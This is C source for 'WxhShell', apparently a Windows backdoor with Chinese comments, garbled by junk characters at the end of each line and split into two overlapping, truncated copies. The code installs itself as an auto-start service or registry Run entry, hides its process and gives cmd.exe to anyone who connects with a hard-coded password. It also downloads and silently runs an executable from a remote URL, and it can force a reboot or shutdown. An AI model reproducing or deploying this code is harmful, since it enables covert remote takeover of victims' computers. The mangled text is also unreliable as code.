    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NXw$PM|+R  
    if(Boot(SHUTDOWN)) g$jZpU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E}WO?xxv74  
    else { $m-rn'Q  
    closesocket(wsh); h!L6NS_Q,  
    ExitThread(0); n@Ar%%\  
    } 3r (i=ac0  
    break; H_CX5=Nq^  
    } nmZJ%n  
  // 获取shell u`2[V4=L  
  case 's': { 06#40-   
    CmdShell(wsh);  )6 _+  
    closesocket(wsh); "2'pS<|  
    ExitThread(0); }QqmDK.  
    break; `fRp9o/  
  } ]wQ#8}zO  
  // 退出 V=v7<I=]  
  case 'x': { 'sCj|=y2Qc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c$>$2[*=  
    CloseIt(wsh); pjP R3 r  
    break; XeT{y]lkd  
    } f2"1^M  
  // 离开 5/),HGxi  
  case 'q': { )Q%hd|R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -}Iw!p#O3  
    closesocket(wsh); J!GWP:b3  
    WSACleanup(); 1/H9(2{L  
    exit(1); XPt<k&o1,  
    break; Do&/+Ssnu  
        } PnKgUJoa0  
  } I;<aJo6Yl  
  } EhOy<f[4W  
sX~ `Vn&  
  // 提示信息 m%bw$hr  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7:D@6<J?  
} >;A7mi/  
  } u#l@:p  
8sG0HI$f+  
  return; rI E m  
} 2yyJ19Iul  
^U`Bj*"2  
// shell模块句柄 [;F%6MPK^  
int CmdShell(SOCKET sock) E?z~)0z2`  
{ ^at X/  
STARTUPINFO si; h8Bs=T  
ZeroMemory(&si,sizeof(si)); 9y~5@/3 2R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \MA 4>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $bd&$@sA  
PROCESS_INFORMATION ProcessInfo; azxGUS_i<  
char cmdline[]="cmd"; #Wz7ju;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w)hH8jx{  
  return 0; 8"zFTP*;u  
} Jmp%%^  
/*+P}__k  
// 自身启动模式 {Di()]/  
int StartFromService(void) Whd2mKwiO  
{ H7 xyK  
typedef struct $#k8xb  
{ ]R$ u3F  
  DWORD ExitStatus; I+?9}t  
  DWORD PebBaseAddress; #xMl<  
  DWORD AffinityMask;  / >Z`?  
  DWORD BasePriority; v^=Po6S[{+  
  ULONG UniqueProcessId; )\bA'LuFy  
  ULONG InheritedFromUniqueProcessId; 9"=1 O  
}   PROCESS_BASIC_INFORMATION; \!erP!$x .  
$X9`~Sv _  
PROCNTQSIP NtQueryInformationProcess; bk-veJR  
TA.ugF)h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .^fVm  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J m5).  
fR& ;E  
  HANDLE             hProcess; c?;YufH'j  
  PROCESS_BASIC_INFORMATION pbi; !5hNG('f  
\Tc<27-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");   pE<@  
  if(NULL == hInst ) return 0; b=5"*=T{+  
|bwz  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Lad8C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); LovVJ^TD0i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^Lx(if WJ  
,co~@a@9  
  if (!NtQueryInformationProcess) return 0; &X^ -|7~N  
/YP,Wfd%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); BP&T|s  
  if(!hProcess) return 0; zT\nj&7  
[ p+]H?(A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [IF5Iv\b  
Pp*:rA"N  
  CloseHandle(hProcess); < )dqv0=  
J-6l<%962%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3N(5V;ti  
if(hProcess==NULL) return 0; X7cqAi  
<}G*/ z?/  
HMODULE hMod; 0%Y8M` ~s7  
char procName[255]; fd{75J5%  
unsigned long cbNeeded; K/Q%tr1W0  
ig Q,ZY1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >tmv3_<=  
A)2eo<ij4  
  CloseHandle(hProcess); Ej\M e  
l@ amAusE  
if(strstr(procName,"services")) return 1; // 以服务启动 r9nyEzk  
ZU=om Rh5  
  return 0; // 注册表启动 xppl6v(  
} BwLggo  
gQ < >S  
// 主模块 * LaL('.>  
int StartWxhshell(LPSTR lpCmdLine) g[D(]t\#x  
{ Y<4%4>a  
  SOCKET wsl; -x~4@~  
BOOL val=TRUE; W E-cq1)  
  int port=0; JE a~avyJ  
  struct sockaddr_in door; tJ"8"T#6Vr  
6aw1  
  if(wscfg.ws_autoins) Install(); zS9HR1  
`b11,lg  
port=atoi(lpCmdLine); !mjrI "_  
-`I&hzl6E  
if(port<=0) port=wscfg.ws_port; B<p-qPR K  
b"DV8fdX  
  WSADATA data; 6T?$m7c  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .T2P%Jn.  
pR3@loFQ`o  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   yDuMn<=3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XF6ed  
  door.sin_family = AF_INET; 'n>v}__&|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sjZ@}Vk3b  
  door.sin_port = htons(port); gB3Tz(!  
4Y2!q$}I+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8|z@"b l)  
closesocket(wsl); lU`}  
return 1; H%peE9>$  
} !Ojf9 6is  
(bX77 Xr  
  if(listen(wsl,2) == INVALID_SOCKET) { ]O^C'GzZ  
closesocket(wsl); L[D<e?j  
return 1; \CY_nn|&g  
} ujLz<5gKuO  
  Wxhshell(wsl); 7f$ hg8  
  WSACleanup(); 8wi2&j_  
G~VukW<e  
return 0; \l_U+d,qq  
j(QK0"z  
} fn~Jc~[G|  
m,Fug1+N  
// 以NT服务方式启动 F[ '<;}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8l50@c4UF~  
{ `y^tCJ2u*  
DWORD   status = 0; .|VWYN  
  DWORD   specificError = 0xfffffff; Knjg`f  
u ? }T)B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hhM?I$t:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Fk-}2_=v i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'm4v)w<y#  
  serviceStatus.dwWin32ExitCode     = 0; JZUf-0q  
  serviceStatus.dwServiceSpecificExitCode = 0; !4/s|b9K  
  serviceStatus.dwCheckPoint       = 0; f\|R<3 L  
  serviceStatus.dwWaitHint       = 0; \FL`b{!+ N  
gG,"wzj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ndXUR4  
  if (hServiceStatusHandle==0) return; RT~6#Caf  
MYlPG1X=?  
status = GetLastError(); ta*6xpz-\Q  
  if (status!=NO_ERROR) 3d>3f3D8;  
{ e8Y;~OAj[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <hv {,1p-r  
    serviceStatus.dwCheckPoint       = 0; q83!PI  
    serviceStatus.dwWaitHint       = 0; Y) ig:m]#  
    serviceStatus.dwWin32ExitCode     = status; ~ Pm[Ud  
    serviceStatus.dwServiceSpecificExitCode = specificError; KE_GC ;bQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -Wt (t2  
    return; ?xT ^9  
  } C)RJjaOr  
 ds#om2)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9i?Q=Vuc~<  
  serviceStatus.dwCheckPoint       = 0; U9/>}Ni%3G  
  serviceStatus.dwWaitHint       = 0; H wu (}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *}Cm/li/w  
} !</Snsi  
Q+ogVvMq>  
// 处理NT服务事件,比如:启动、停止 n a3st*3V_  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Cu`uP[# ch  
{ (nUSgZz5  
switch(fdwControl) S#|dmg;p  
{ )Bb:?!EuEH  
case SERVICE_CONTROL_STOP: /hC'-6:]^  
  serviceStatus.dwWin32ExitCode = 0; 7_^JgA|Kk7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; dBG5IOD  
  serviceStatus.dwCheckPoint   = 0; 'Cp]Q@]\  
  serviceStatus.dwWaitHint     = 0; F5(DA  
  { a^>e| Eq|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I&s!}$cD  
  } d>YX18'<Q  
  return; px~:'U  
case SERVICE_CONTROL_PAUSE: .}4^b\   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4r- CF#o  
  break; .1@8rVp7  
case SERVICE_CONTROL_CONTINUE: TEEt]R-y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; {*NM~yQ  
  break; upc-Qvk  
case SERVICE_CONTROL_INTERROGATE: #FwTV@  
  break; h)o5j-M>4  
}; 9N*!C{VW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -h`[w:  
} iYR`|PJi  
6z3`*B  
// 标准应用程序主函数 }[O/u <Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8IQqDEY^  
{ -NL=^O$G  
y/\0qQ/  
// 获取操作系统版本 ^dP]3D1 @  
OsIsNt=GetOsVer(); 4^u wZ:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )"sJaHx<  
G>?'b  
  // 从命令行安装 6jpfo'uB$  
  if(strpbrk(lpCmdLine,"iI")) Install(); i[r>^U8O  
BHrNDpv  
  // 下载执行文件 &XF@Dvv  
if(wscfg.ws_downexe) { |-zefzD|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {@*l,[,5-  
  WinExec(wscfg.ws_filenam,SW_HIDE); tg#d.(  
} '6zk> rN  
9'I$8Su  
if(!OsIsNt) { RkTO5XO  
// 如果时win9x,隐藏进程并且设置为注册表启动 M WHzrqCA  
HideProc(); ZhnRsn9  
StartWxhshell(lpCmdLine); FrL ;1zt  
} #_9Jam%M  
else 9X ^D(  
  if(StartFromService()) [qHtN.  
  // 以服务方式启动 N&YQZ^o  
  StartServiceCtrlDispatcher(DispatchTable); E!]d?t3b  
else ;]I~AGH:  
  // 普通方式启动 *m.4)2u=  
  StartWxhshell(lpCmdLine); f)9{D[InM^  
ZD`p$:pT  
return 0; RuBL_Vi  
} y-R:-K XH=  
JXKo zy41  
me`|i-   
%}ASll0uq  
=========================================== "IMq +  
$QC^hC  
/vrjg)fer  
J,,+JoD  
} :9UI  
yTpvKCC  
" <52)  
-l i71.M  
#include <stdio.h> A"pV 7 y  
#include <string.h> LPK[^  
#include <windows.h> T.B} k`$  
#include <winsock2.h> *R8qnvE\()  
#include <winsvc.h> I?#B_R#  
#include <urlmon.h> DFN  
i8 fUzg)  
#pragma comment (lib, "Ws2_32.lib") H;kk:s'  
#pragma comment (lib, "urlmon.lib") @(I)]Ca%O  
Ua\<oD79]  
#define MAX_USER   100 // 最大客户端连接数 yIG*  
#define BUF_SOCK   200 // sock buffer k`;&??  
#define KEY_BUFF   255 // 输入 buffer O od?ifA  
l~j{i/>  
#define REBOOT     0   // 重启 GkYD:o=qx  
#define SHUTDOWN   1   // 关机 `bMwt?[*  
S/H!a:_5r  
#define DEF_PORT   5000 // 监听端口 3lo.YLP^  
}v$T1Cw  
#define REG_LEN     16   // 注册表键长度 8B"my\  
#define SVC_LEN     80   // NT服务名长度 6Cvg-X@  
>#8J@=iuqv  
// 从dll定义API A;e0h)F$-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <rAWu\d;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6"PwOEt  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n^:Wc[[m  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~h@<14c{X  
X0+M|8:   
// wxhshell配置信息 ` 8OA:4).  
struct WSCFG { >^(Q4eU7!  
  int ws_port;         // 监听端口 yMCd5%=M\  
  char ws_passstr[REG_LEN]; // 口令 a]nyZdt`  
  int ws_autoins;       // 安装标记, 1=yes 0=no Yt#e[CYnu  
  char ws_regname[REG_LEN]; // 注册表键名 81&5g'  
  char ws_svcname[REG_LEN]; // 服务名 r5(-c]E7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [2Rw)!N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xGVL|/?8  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1 6G/'Hb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9<Kc9Z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lL]8~3b  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &bw ``e&c  
9G)q U  
}; `|d&ta[{  
o^b4l'&o  
// default Wxhshell configuration .X(*mmH  
struct WSCFG wscfg={DEF_PORT, Ii4lwZnz  
    "xuhuanlingzhe", mIUpAOC`"Z  
    1, (%^Bp\.02!  
    "Wxhshell", Lf} @v  
    "Wxhshell", -4!i(^w[m/  
            "WxhShell Service", q[T='!Z\  
    "Wrsky Windows CmdShell Service", B}A7Usm  
    "Please Input Your Password: ", Bvy(vc=UDW  
  1, q"%;),@  
  "http://www.wrsky.com/wxhshell.exe", "i3Q)$"S  
  "Wxhshell.exe" FdVWj 5 $a  
    }; +5C*i@v  
r -SQk>Y}  
// 消息定义模块 '@Q aeFm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oP( Hkp,'  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ee5QZ,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8`j;v>2  
char *msg_ws_ext="\n\rExit."; DGllJ_/Z  
char *msg_ws_end="\n\rQuit."; u%`4;|tI  
char *msg_ws_boot="\n\rReboot..."; S/l?wwD  
char *msg_ws_poff="\n\rShutdown..."; +ysP#uAA  
char *msg_ws_down="\n\rSave to "; =|G l  
glvt umv  
char *msg_ws_err="\n\rErr!"; #6 yi  
char *msg_ws_ok="\n\rOK!"; U3zwC5}BN  
\%ZF<sV W  
char ExeFile[MAX_PATH]; p"XQJUuD  
int nUser = 0; .Lc<1s  
HANDLE handles[MAX_USER]; 7 *#pv}Y  
int OsIsNt; ?a]u yw,  
!`-/E']/  
SERVICE_STATUS       serviceStatus; F 6 xQ`T|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !Qd4Y=  
lY_&P.B  
// 函数声明 ZZXQCP6]  
int Install(void); TtaVvaz~>  
int Uninstall(void); )^o7%KX  
int DownloadFile(char *sURL, SOCKET wsh); QX$i ]y%S  
int Boot(int flag); ]/y&5X  
void HideProc(void); .sk$@Q  
int GetOsVer(void); DMY?'Nts!  
int Wxhshell(SOCKET wsl); "jyh.@<  
void TalkWithClient(void *cs); 38hAg uZX  
int CmdShell(SOCKET sock); P{!r<N  
int StartFromService(void); c>*RQ4vE  
int StartWxhshell(LPSTR lpCmdLine); @'yD(ZMAz  
Y=#g_(4*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s)~6 0c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); '[h|f  
X)K3X:~L+  
// 数据结构和表定义 5YG?m{hyn_  
SERVICE_TABLE_ENTRY DispatchTable[] = f/:XIG  
{ =Qcz:ng  
{wscfg.ws_svcname, NTServiceMain}, z7H[\4A!>  
{NULL, NULL} b6k'`vLA  
}; v!pT!(h4  
h6dVT9  
// 自我安装 TCd1JF0  
int Install(void) N?'V,p 0=  
{ M8,W|eTM  
  char svExeFile[MAX_PATH]; Z ?{;|Z5  
  HKEY key; b%fn1Ag9  
  strcpy(svExeFile,ExeFile); aiKZ$KLC  
mt+IB4`  
// 如果是win9x系统,修改注册表设为自启动 0O,l rF0'  
if(!OsIsNt) { 4ZK8Y[]Lv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wM;9plYlw0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xM/B"SG2  
  RegCloseKey(key); i 7fQj, q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { poqx O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Jz!8Xg%a  
  RegCloseKey(key); n~#%>C7  
  return 0; 9W{=6D86e  
    } }lk_Oe1  
  } ^]$x/1I;  
} >!OD[9  
else { >HUU`= SC  
J/j?;qx]j  
// 如果是NT以上系统,安装为系统服务 R18jju>Zr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ov=[g l  
if (schSCManager!=0) Fvy__ qcHi  
{ n0T\dc~  
  SC_HANDLE schService = CreateService u(7PtmV[!  
  ( 5_ @8g+~  
  schSCManager, m q`EM OH  
  wscfg.ws_svcname, iR9 $E  
  wscfg.ws_svcdisp, 4*4s{twG  
  SERVICE_ALL_ACCESS, ;R E|9GR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `5[d9z/6  
  SERVICE_AUTO_START, HXTBxh  
  SERVICE_ERROR_NORMAL, [lqwzW{(UN  
  svExeFile, '*5I5'[ X,  
  NULL, LFCcV<~  
  NULL, o yBBW?m  
  NULL, ;~$_A4;  
  NULL, Hb KJ&^  
  NULL gL(ny/Ob9  
  ); -,Q !:  
  if (schService!=0) W27EU/+3  
  { iw\RQ 0  
  CloseServiceHandle(schService); G SXe=?  
  CloseServiceHandle(schSCManager); /RuGh8qzP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  iK$)Iy0  
  strcat(svExeFile,wscfg.ws_svcname); 'b#`8k~>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ysV0Ed  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k[]B P4  
  RegCloseKey(key); %X Jv;|  
  return 0; [a;U'v*  
    } J~6+zBF  
  } Vf#X[$pc/  
  CloseServiceHandle(schSCManager); W>Eee?  
} #YM5P  
} [V~(7U  
/R&!92I0*  
return 1; y#5xS  
} #Mt'y8|}$  
ugEh}3  
// 自我卸载 wuCiO;w  
int Uninstall(void) <FIc!  
{ ZR<T\w  
  HKEY key; $DZ\61  
2r2qZ#I}  
if(!OsIsNt) { 05mjV6j7m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %O`e!p  
  RegDeleteValue(key,wscfg.ws_regname); #Jv|zf5Z  
  RegCloseKey(key); 6fhH)]0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .7Zb,r  
  RegDeleteValue(key,wscfg.ws_regname); EELS-qA  
  RegCloseKey(key); hPa:>e  
  return 0; ^uIP   
  } tCAh?nR  
} 6 eqxwj{S[  
} <(dHh9$~  
else { }>I|\Z0I  
(+d7cln  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +85i;gO5  
if (schSCManager!=0) =m.Lw  
{ v /{LC4BF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); luYkC@I@a  
  if (schService!=0) kw&,<V77~  
  { =X[]0.I%  
  if(DeleteService(schService)!=0) { j:# wt70  
  CloseServiceHandle(schService); `9BZ))Pg  
  CloseServiceHandle(schSCManager); V9*Z  
  return 0; VMPBM:k G  
  } f]MKNX  
  CloseServiceHandle(schService); )?#*GMWU  
  } U}ei2q\  
  CloseServiceHandle(schSCManager); F.2<G.9  
} G. Z:00x  
} _KBN  
j^#4!Ue  
return 1; 9MQ!5Zn  
} S)T]>Ash  
{  O+d7,C  
// 从指定url下载文件 InnjZ>$  
int DownloadFile(char *sURL, SOCKET wsh) @j*K|+X"  
{ (3Hz=k_  
  HRESULT hr; R57>z`;  
char seps[]= "/"; @>n7  
char *token; )[&'\SOO  
char *file; 0Q? XU.v  
char myURL[MAX_PATH]; d[mmwgSR?I  
char myFILE[MAX_PATH]; v?e@`;- <  
fgrflW$  
strcpy(myURL,sURL); wVU.j$+_#  
  token=strtok(myURL,seps); xj8 yQ Y1  
  while(token!=NULL) 0$)uOUVJ  
  { HBHDu;u  
    file=token; \$GM4:R D  
  token=strtok(NULL,seps); mw2/jA7  
  } ]X y2km]  
}71a3EUK  
GetCurrentDirectory(MAX_PATH,myFILE); W^{zlg  
strcat(myFILE, "\\"); `}t<5_  
strcat(myFILE, file); qxKW% {6o  
  send(wsh,myFILE,strlen(myFILE),0); {j$:9  H  
send(wsh,"...",3,0); 2P3,\L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [B<htD&  
  if(hr==S_OK) 0c6b_%Rd  
return 0; KE>|,U r  
else I`k%/ei38  
return 1; WzD=Ol  
1iNq|~  
} Vwxb6,}Z  
En01LrC?  
// 系统电源模块 {m%]`0  
int Boot(int flag) f793yCiG  
{ zh8\ _> +  
  HANDLE hToken; 9e5XS\  
  TOKEN_PRIVILEGES tkp; je_:hDr  
= BcKWC  
  if(OsIsNt) { []^fb,5a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <'WS -P%U  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M_ *KA  
    tkp.PrivilegeCount = 1; S7i,oP7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @">^2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?'>pfU  
if(flag==REBOOT) { 'cp1I&>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CK[w0VCT  
  return 0; ,#n$YT7  
} #aHPB#  
else { EWz,K] _'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1eod;^AP9  
  return 0; XT2:XWI8  
} &+0WZ#VI  
  } Tvp~~Dk  
  else { }6S~"<Ym  
if(flag==REBOOT) { 2bIP.M2Fs  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fkKk/M> 1  
  return 0; d\eTyN'rA  
} t UOqF  
else { LtrE;+%2oz  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ENoGV;WG  
  return 0; -/^a2_d[  
} h"#[{$(  
} LDX>S*cL  
1u`{yl*+?  
return 1; 9NXL8QmC8  
} 2TQyQ%  
MSQz,nn  
// win9x进程隐藏模块 `^d[$IbDW  
void HideProc(void) hCpX# rg?  
{ nDG41)|  
{ $ a $m  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -_`dA^  
  if ( hKernel != NULL ) X(r$OZ  
  { \eH`{Z'.x5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vZ6_/ew8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Al93x  
    FreeLibrary(hKernel); e-&0f);i  
  } |.]g&m)y^h  
&];:uYmMU  
return; \d :AV(u  
} 5xb1FH d:  
P3e}G-Oz  
// 获取操作系统版本 K U;d[Z@g  
int GetOsVer(void) GkU]>8E'"  
{ :o37 V!  
  OSVERSIONINFO winfo; +cXdF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1uwzo9Yg  
  GetVersionEx(&winfo); QV%,s!_b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1r:i'cW h  
  return 1; P<E!ix  
  else w^EUBRI-  
  return 0; ]=ubl!0=:  
} S+*%u/;l  
m)\wbkC  
// 客户端句柄模块 sKCfI]  
int Wxhshell(SOCKET wsl) g&]n:qx  
{ |g`:K0BI  
  SOCKET wsh; R? Ys%~5  
  struct sockaddr_in client; @Jh;YDr`A  
  DWORD myID; ]DJ] L=T7  
5f}GV0=n  
  while(nUser<MAX_USER) |V dr/'  
{ k$d+w][  
  int nSize=sizeof(client); (@(rz/H  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); LX%UkfA9  
  if(wsh==INVALID_SOCKET) return 1; 6'a1]K  
yt 5'2!jc  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `VL<pqPP  
if(handles[nUser]==0) dN)@/R^E;  
  closesocket(wsh); $`'%1;y@  
else u27*-X 5  
  nUser++; BpR#3CfW  
  } )4O* D92  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <#ZDA/G(  
A5q%yt I  
  return 0; C< B1zgX  
} XEpwk,8*g  
Cn"L*\o  
// 关闭 socket k2Dq~zn  
void CloseIt(SOCKET wsh) @ C"w 1}  
{ ;p8,=w  
closesocket(wsh); ~i5t1  
nUser--; =N?K)QD`  
ExitThread(0); ;n2b$MB?nM  
} WoSJp5By$  
iS#m{1m$$  
// 客户端请求句柄 6>e YG <y{  
void TalkWithClient(void *cs) \!J9|  
{ ] RLEyDB  
_[p@V_my  
  SOCKET wsh=(SOCKET)cs; O{&wqV5m"  
  char pwd[SVC_LEN]; .NX>d@ Kc  
  char cmd[KEY_BUFF]; 'kE^oX_  
char chr[1]; ~'u %66  
int i,j; TM*<hC  
k 1sR^&{l  
  while (nUser < MAX_USER) { j"J[dlm2M  
]/TqPOi:  
if(wscfg.ws_passstr) { |$QL>{81  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Fq`wx  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rvwfQ'14  
  //ZeroMemory(pwd,KEY_BUFF); hcJny  
      i=0; RI0 +9YJ  
  while(i<SVC_LEN) { noSBwP| v*  
bqI| wGCA"  
  // 设置超时 ?YA5g' l  
  fd_set FdRead; PTf.(B"z  
  struct timeval TimeOut; kFZjMchm A  
  FD_ZERO(&FdRead); zrazFI0G  
  FD_SET(wsh,&FdRead); Z:kX9vw.  
  TimeOut.tv_sec=8; se^(1R k  
  TimeOut.tv_usec=0; *p>1s!i  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m L,El2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :978D0}{p  
ANWUo}j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6u-aV  
  pwd=chr[0]; YThFskRoO  
  if(chr[0]==0xd || chr[0]==0xa) { @K}8zMmW#  
  pwd=0; h"849c;C.  
  break; ?D]qw4J  
  } +`$[h2Z=:  
  i++; otSF8[  
    } {S=gXIh(y  
$0wF4$)  
  // 如果是非法用户,关闭 socket h 1 `yW#%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t1%<l  
} Q"QL#<N  
.!`v2_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z;KUIWg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v:w $l{7  
=^D{ZZw{  
while(1) { /&Vgo ~.J  
AfOq?V  
  ZeroMemory(cmd,KEY_BUFF); O:86*  
 U<Z\jT[  
      // 自动支持客户端 telnet标准   HZ.Jc"+M  
  j=0; |&xjuBC  
  while(j<KEY_BUFF) { H,5 ##@X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Pln*?o  
  cmd[j]=chr[0]; nbM7 >tnsk  
  if(chr[0]==0xa || chr[0]==0xd) { .}||!  
  cmd[j]=0; RI2Or9.  
  break; x|oa"l^JZ"  
  } 2`]_c=  
  j++; #Ies yNKZ  
    } y9'F D5\s  
Q`4]\)Dp  
  // 下载文件 c-, 6k  
  if(strstr(cmd,"http://")) { /qalj\ud  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); nM,5KHU4a  
  if(DownloadFile(cmd,wsh)) DZ9qIc}Y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); TV&4m5  
  else D_MNF =7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y =BXV7\  
